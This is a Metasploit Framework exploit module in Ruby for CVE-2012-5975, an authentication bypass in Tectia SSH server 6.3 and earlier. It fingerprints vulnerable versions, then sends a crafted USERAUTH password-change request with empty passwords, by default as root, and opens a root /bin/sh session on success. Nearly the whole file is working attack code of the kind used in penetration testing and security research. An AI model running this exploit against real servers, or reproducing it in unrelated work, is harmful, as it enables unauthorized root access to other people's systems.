##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability in Tectia SSH server for Unix-based
				platforms.  The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
				before password authentication, allowing any remote user to bypass the login
				routine, and then gain access as root.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'kingcope',  #Original 0day
					'bperry',
					'sinn3r'
				],
			'References'     =>
				[
					['CVE', '2012-5975'],
					['EDB', '23082'],
					['OSVDB', '88103'],
					['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12'],
					['URL', 'http://www.ssh.com/index.php/component/content/article/531.html']
				],
			'Payload'        =>
				{
					'Compat' =>
					{
						'PayloadType'    => 'cmd_interact',
						'ConnectionType' => 'find'
					}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Unix-based Tectia SSH 6.3 or prior', {}]
				],
			'Privileged'     => true,
			'DisclosureDate' => "Dec 01 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(22),
				OptString.new('USERNAME', [true, 'The username to login as', 'root'])
			], self.class
		)

		register_advanced_options(
			[
				OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
			]
		)
	end

	def check
		connect
		banner = sock.get_once.strip
		print_status("#{rhost}:#{rport} - Banner: #{banner}")
		disconnect

		# Vulnerable version info obtained from CVE
		version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
		build   = version.split('.')[-1].to_i

		case version
		when /^6\.0/
			unless (4..14).include?(build) or (17..20).include?(build)
				return Exploit::CheckCode::Safe
			end

		when /^6\.1/
			unless (0..9).include?(build) or build == 12
				return Exploit::CheckCode::Safe
			end

		when /^6\.2/
			unless (0..5).include?(build)
				return Exploit::CheckCode::Safe
			end

		when /^6\.3/
			unless (0..2).include?(build)
				return Exploit::CheckCode::Safe
			end
		else
			return Exploit::CheckCode::Safe
		end

		# The vulnerable version must use PASSWORD method
		user = Rex::Text.rand_text_alpha(4)
		transport, connection = init_ssh(user)
		return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)

		return Exploit::CheckCode::Safe
	end

	def rhost
		datastore['RHOST']
	end

	def rport
		datastore['RPORT']
	end

	def is_passwd_method?(user, transport)
		# A normal client is expected to send a ssh-userauth packet.
		# Without it, the module can hang against non-vulnerable SSH servers.
		transport.send_message(transport.service_request("ssh-userauth"))
		message = transport.next_message

		# 6 means SERVICE_ACCEPT
		if message.type != 6
			print_error("Unexpected message: #{message.inspect}")
			return false
		end

		# We send this packet as an attempt to see what auth methods are available.
		# The only auth method we want is PASSWORD.
		pkt = Net::SSH::Buffer.from(
			:byte, 0x32,               #userauth request
			:string, user,             #username
			:string, "ssh-connection", #service
			:string, "password"        #method name
		)
		pkt.write_bool(true)
		pkt.write_string("")           #Old pass
		pkt.write_string("")           #New pass

		transport.send_message(pkt)
		message = transport.next_message

		# Type 51 means the server is trying to tell us what auth methods are allowed.
		if message.type == 51 and message.to_s !~ /password/
			print_error("#{rhost}:#{rport} - This host does not use password method authentication")
			return false
		end

		return true
	end

	#
	# The following link is useful to understand how to craft the USERAUTH password change
	# request packet:
	# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
	#
	def userauth_passwd_change(user, transport, connection)
		print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
		pkt = Net::SSH::Buffer.from(
			:byte, 0x32,               #userauth request
			:string, user,             #username
			:string, "ssh-connection", #service
			:string, "password"        #method name
		)
		pkt.write_bool(true)
		pkt.write_string("")           #Old pass
		pkt.write_string("")           #New pass

		transport.send_message(pkt)
		message = transport.next_message.type
		print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")

		if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
			transport.send_message(transport.service_request("ssh-userauth"))
			message = transport.next_message.type

			if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
				shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
				connection = nil
				return shell
			end
		end
	end

	def init_ssh(user)
		opts       = {:user=>user, :record_auth_info=>true, :port=>rport}
		options    = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
		transport  = Net::SSH::Transport::Session.new(rhost, options)
		connection = Net::SSH::Connection::Session.new(transport, options)

		return transport, connection
	end

	def do_login(user)
		transport, connection = init_ssh(user)
		passwd = is_passwd_method?(user, transport)

		if passwd
			conn = userauth_passwd_change(user, transport, connection)
			return conn
		end
	end

	def exploit
		c = nil

		begin
			::Timeout.timeout(datastore['SSH_TIMEOUT']) do
				c = do_login(datastore['USERNAME'])
			end
		rescue Rex::ConnectionError, Rex::AddressInUse
			return
		rescue Net::SSH::Disconnect, ::EOFError
			print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
			return
		rescue Net::SSH::Exception => e
			print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
			return
		rescue ::Timeout::Error
			print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
			return
		end

		handler(c.lsock) if c
	end
end
